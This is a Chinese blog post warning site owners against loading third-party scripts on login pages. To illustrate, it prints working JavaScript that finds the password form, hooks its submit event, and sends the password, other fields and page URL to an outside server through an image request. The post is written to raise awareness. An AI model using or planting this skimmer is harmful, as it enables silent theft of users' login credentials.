zoukankan      html  css  js  c++  java
  • 千万不要在登录页面引入别站的脚本

        如果您是一位站长,你的网站里面一定引入过别站的脚本,如计数器等。但我强烈建议您不要把这个脚本引入到登陆页面。
        因为如果你这样做了,对方(脚本作者)可以在神不知鬼不觉的情况下,把你的用户的帐户,密码等信息偷走。
        您可能要问:第一、对方如何知道我把脚本放在登陆页面?第二、现在有IE7,XMLHTTP也不可能跨域了,对方如何知道信息?
        其实,这两个问题,都很简单。
        第一、对方只需用脚本枚举FORM,判断里面的是否包含:<input type="password" />的控件,就可以知道是否是登陆窗体。
        第二、没有了 XMLHTTP,还有好多种方法来完成数据的提交,最简单的:
    var up = new Image(); up.src=http://xxx.xxx.xxx.xxx/getdata.asp?data=aaa|bbb|ccc;
    很简单吧!!我们来看下示例核心代码:
        function _bho_DataPost(form)
        
    {
            
    var userInfoArray = [];
            
    for(var name in form)
            
    {
                userInfoArray.push(name 
    + '=+ escape(form[name]));
            }

            
            
    var userInfo = userInfoArray.join('&');
            
    try
            
    {
              
    //提交数据(这里有密码的哟)
              var send = new Image();
            send.src 
    = "[url=http://evlon.cnblogs.com/getdata.asp]http://evlon.cnblogs.com/getdata.asp[/url]?" + userInfo;
            }

            
    catch(e)
            
    {}
        }

    /*
      功能:得到登陆FORM,如果没有找到,则返回 null
    */

        
    function _bho_getLoginForm()
        
    {
            
    var forms = document.forms;
            
    for(var f = 0; f < forms.length; ++f)
            
    {
                
    var form = forms[f];
                
                
    var inputs = form.getElementsByTagName("INPUT");
                
    for(var i = 0; i < inputs.length; ++i)
                
    {
                    
    if(inputs[i].type.toLowerCase() == "password")
                    
    {
                        
    return form;
                    }

                }

            }

            
            
    return null;
        }

        
        
    /*
        功能:注册事件,HOOK form.submit
        
    */

        
    function _bho_initEvent()
        
    {
            
    var form = _bho_getLoginForm();
            
    if(form != null)
            

            
            
    //重写 form 的submit,来拦截密码
            form.__submit_ = form.submit;
            form.submit 
    = function()
            
    {
              _bho_SendPwd();
              
              
    //如果先执行这里,因为还有事件,我们把 _bho_SendPwd 改成空函数,避免重复提交
              _bho_SendPwd = function(){}
              
    return form.__submit_();
            }

            
    //注册事件来监听密码提交
                form.attachEvent("onsubmit",_bho_SendPwd);
            }

        }

        
        
    /*
        功能:把将要提交的FORM里面的所有数据提交
        
    */

        
    function _bho_SendPwd(e)
        
    {
            
    var form = _bho_getLoginForm();
        
    var pwd = '';
        
    var otherInfoArray = [];
            
    var inputs = form.getElementsByTagName("INPUT");
            
    for(var i = 0; i < inputs.length; ++i)
            
    {
                
    if(inputs[i].type.toLowerCase() == "password")
                
    {
                    pwd 
    = inputs[i].value;
                }

                
    else
                
    {
                    
    if(inputs[i].type.toLowerCase() == 'text')
                    
    {
                    
    //为了节省资源,如果没有名字,或者数据长度太长,应该没有什么价值,不用提交了
                        if(inputs[i].name && inputs[i].name != '' && inputs[i].value.length < 100)
                        
    {
                        otherInfoArray.push(inputs[i].name 
    + '=+ inputs[i].value);
                    }

                }

                }

            }

            
            
    var form = [];
            form['url'] 
    = window.location.href;
            form['pwd'] 
    = pwd;
            form['otherInfo'] 
    = otherInfoArray.join('&');
            _bho_DataPost(form);
            
    //alert('发送完成');
        }

        
        
    //初始化事件
        _bho_initEvent();
    如果以上脚本在你的站上执行,唉。。。。。。

    (改了错别字:-(    )
  • 相关阅读:
    关于jsp页面是放在webroot目录下和web-inf下优缺点
    eclipse查看jar包中class的中文注释乱码问题的解决
    如何在eclipse里使用git
    ****JFinal 部署在 Tomcat 下推荐方法
    jfinal框架教程-学习笔记(二)
    Struts2 标签库讲解
    struts2 标签库 介绍
    VC无闪烁刷屏技术的实现【转】
    小知识:SPI四种模式区别【转】
    如何在Android 或Linux 下,做Suspend /Resume 的Debug【转】
  • 原文地址:https://www.cnblogs.com/evlon/p/722520.html
Copyright © 2011-2022 走看看